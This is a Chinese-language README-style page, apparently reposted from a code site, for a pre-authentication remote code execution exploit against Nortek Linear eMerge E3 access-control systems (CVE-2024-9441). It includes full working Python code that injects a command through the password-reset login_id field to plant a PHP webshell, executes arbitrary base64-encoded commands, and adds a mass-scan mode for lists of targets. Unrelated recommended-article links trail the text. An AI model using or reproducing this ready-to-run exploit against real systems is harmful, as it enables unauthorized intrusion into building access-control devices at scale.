Nortek Linear eMerge E3 预认证远程代码执行漏洞利用工具

Nortek Linear eMerge E3 RCE 漏洞利用工具

项目描述

本项目是一个针对 Nortek Linear eMerge E3 系统的预认证远程代码执行漏洞 PoC 利用工具。该漏洞被编号为 CVE-2024-9441,攻击者可以在无需认证的情况下,通过密码重置功能中的安全缺陷,向目标系统注入恶意 PHP 代码,从而实现任意命令执行。

该工具专为安全研究人员和授权渗透测试人员设计,可用于验证系统是否存在该高危漏洞。

功能特性

  • 预认证远程代码执行:利用密码重置接口的缺陷,无需任何凭证即可执行系统命令
  • 单目标精确攻击:支持指定单个 IP、端口和自定义命令进行针对性测试
  • 批量扫描功能:支持从文件中读取多个目标,批量检测漏洞并执行命令
  • 自定义命令执行 :允许用户指定任意系统命令,默认执行 /bin/ls -al /spider/web
  • 自动命令编码:内置 Base64 编码功能,确保恶意载荷正确传输
  • 简易命令行接口:基于 argparse 的命令行参数解析,使用简单直观

安装指南

系统要求

  • Python 3.x
  • pip 包管理器

依赖安装

本工具依赖 requests 库,使用以下命令安装:

bash 复制代码
pip install requests

获取代码

bash 复制代码
git clone https://github.com/your-repo/nortek-emerge-rce.git
cd nortek-emerge-rce

使用说明

基本用法

单目标攻击
bash 复制代码
python exploit.py --ip 192.168.1.100 --port 443 --cmd "id"
使用默认命令
bash 复制代码
python exploit.py --ip 192.168.1.100 --port 443

默认执行:/bin/ls -al /spider/web

批量扫描
  1. 创建目标文件 targets.txt,每行格式为 IP:端口
text 复制代码
192.168.1.100:443
192.168.1.101:8080
10.0.0.50:8443
  1. 执行批量扫描:
bash 复制代码
python exploit.py --list targets.txt --cmd "whoami"

命令行参数

参数 类型 说明 默认值
--ip 字符串 目标 IP 地址
--port 整数 目标端口 443
--cmd 字符串 要执行的系统命令 /bin/ls -al /spider/web
--list 字符串 包含目标列表的文件路径

使用场景

  • 安全漏洞验证:检测目标系统是否存在 CVE-2024-9441 漏洞
  • 授权渗透测试:在获得授权的情况下,评估系统安全防护能力
  • 应急响应:快速检查内部网络中的受影响设备

攻击流程说明

  1. 载荷上传 :通过构造包含恶意 PHP 代码的 POST 请求,利用密码重置接口将 Webshell 写入 /img/index.html
  2. 命令执行:向写入的 Webshell 发送经 Base64 编码的命令,获取执行结果

核心代码

漏洞利用核心函数

python 复制代码
def exploit(target, port, cmd):
    """
    针对单个目标执行漏洞利用
    
    参数:
        target: 目标IP地址
        port: 目标端口
        cmd: 要执行的系统命令
    """
    # 构建漏洞利用URL - 密码重置接口
    url = f"https://{target}:{port}/index.php?c=user&m=forgot_password"
    
    # 恶意载荷:创建Webshell文件
    PAYLOAD = {
        'login_id': '`echo \'<?php exec(base64_decode($_POST["c"]),$output);echo(implode("\n",$output));?>\' > img/index.html`'
    }
    
    try:
        # 第一步:上传恶意载荷
        response = requests.post(url, data=PAYLOAD, verify=False, timeout=5)
        if response.status_code == 200:
            print("[+] Payload uploaded successfully.")
        else:
            print(f"[-] Failed to upload payload on {target}:{port}.")
            return
        
        # 第二步:执行命令(Base64编码)
        cmd_encoded = base64.b64encode(cmd.encode()).decode()
        exec_url = f"https://{target}:{port}/img/index.html"
        exec_payload = {'c': cmd_encoded}
        response = requests.post(exec_url, data=exec_payload, verify=False, timeout=5)
        
        # 输出命令执行结果
        if response.status_code == 200:
            print(f"[+] Command executed on {target}:{port}:")
            print(response.text)
        else:
            print(f"[-] Exploit failed on {target}:{port}.")
    except Exception as e:
        print(f"[-] Error with {target}:{port}: {e}")

批量扫描函数

python 复制代码
def mass_scan(targets_file, cmd):
    """
    批量扫描多个目标
    
    参数:
        targets_file: 包含目标列表的文件路径
        cmd: 要执行的系统命令
    """
    with open(targets_file, 'r') as file:
        for line in file:
            target, port = line.strip().split(':')
            exploit(target, port, cmd)

主程序入口

python 复制代码
def main():
    parser = argparse.ArgumentParser(description="Nortek Linear eMerge E3 Pre-Auth RCE PoC (CVE-2024-9441)")
    
    # 单目标参数
    parser.add_argument('--ip', help="Target IP address", type=str)
    parser.add_argument('--port', help="Target port", type=int, default=443)
    parser.add_argument('--cmd', help="Command to execute", type=str, default="/bin/ls -al /spider/web")
    
    # 批量扫描参数
    parser.add_argument('--list', help="File containing list of targets (IP:port)", type=str)
    
    args = parser.parse_args()
    
    # 根据参数选择攻击模式
    if args.list:
        mass_scan(args.list, args.cmd)
    elif args.ip:
        exploit(args.ip, args.port, args.cmd)
    else:
        print("[-] Please provide either a single target (--ip) or a list of targets (--list).")

if __name__ == "__main__":
    main()

漏洞说明

该漏洞利用的核心在于密码重置功能未对用户输入进行充分过滤,允许通过命令注入的方式在服务器上创建任意文件。工具首先向 forgot_password 接口发送包含反引号命令的 login_id 参数,利用 PHP 的 exec() 函数执行系统命令,将 Webshell 写入 /img/index.html。随后通过 POST 请求向 Webshell 发送 Base64 编码的系统命令,实现任意代码执行。 6HFtX5dABrKlqXeO5PUv/9kTqH7AwD8QmYIyNK20xVM=

相关推荐
jiayong231 小时前
AI工作流实现原理深度解析
人工智能·comfyui·工作流·coze
Rolei_zl1 小时前
AIGC(生成式AI)试用 52 -- 个人知识库 DocsGpt(chat参数)
aigc·docsgpt
魔鬼_1 小时前
Accelerating Oil & Gas Digital Tools with AI Code Generation
人工智能
tyler_download1 小时前
揉扁搓圆transformer架构:交叉熵损失函数
人工智能·深度学习·transformer
余俊晖1 小时前
多模态文档解析后处理开源模型:MinerU-Popo方案思路提升RAG性能
人工智能·ocr·多模态
Deepoch1 小时前
Deepoc VLA开发板:实现采摘机器人动态生物适应与精准作业
大数据·人工智能·机器人·采摘机器人·deepoc
じ☆冷颜〃1 小时前
Picard–Lindelöf定理在CS中的应用:理论框架与算法基础
人工智能·经验分享·笔记·算法·机器学习
云烟成雨TD1 小时前
Spring AI 1.x 系列【40】MCP 客户端 Spring Boot 启动器
人工智能·spring boot·spring
糖果店的幽灵1 小时前
Spring AI 从入门到精通-Spring AI 是什么
java·人工智能·spring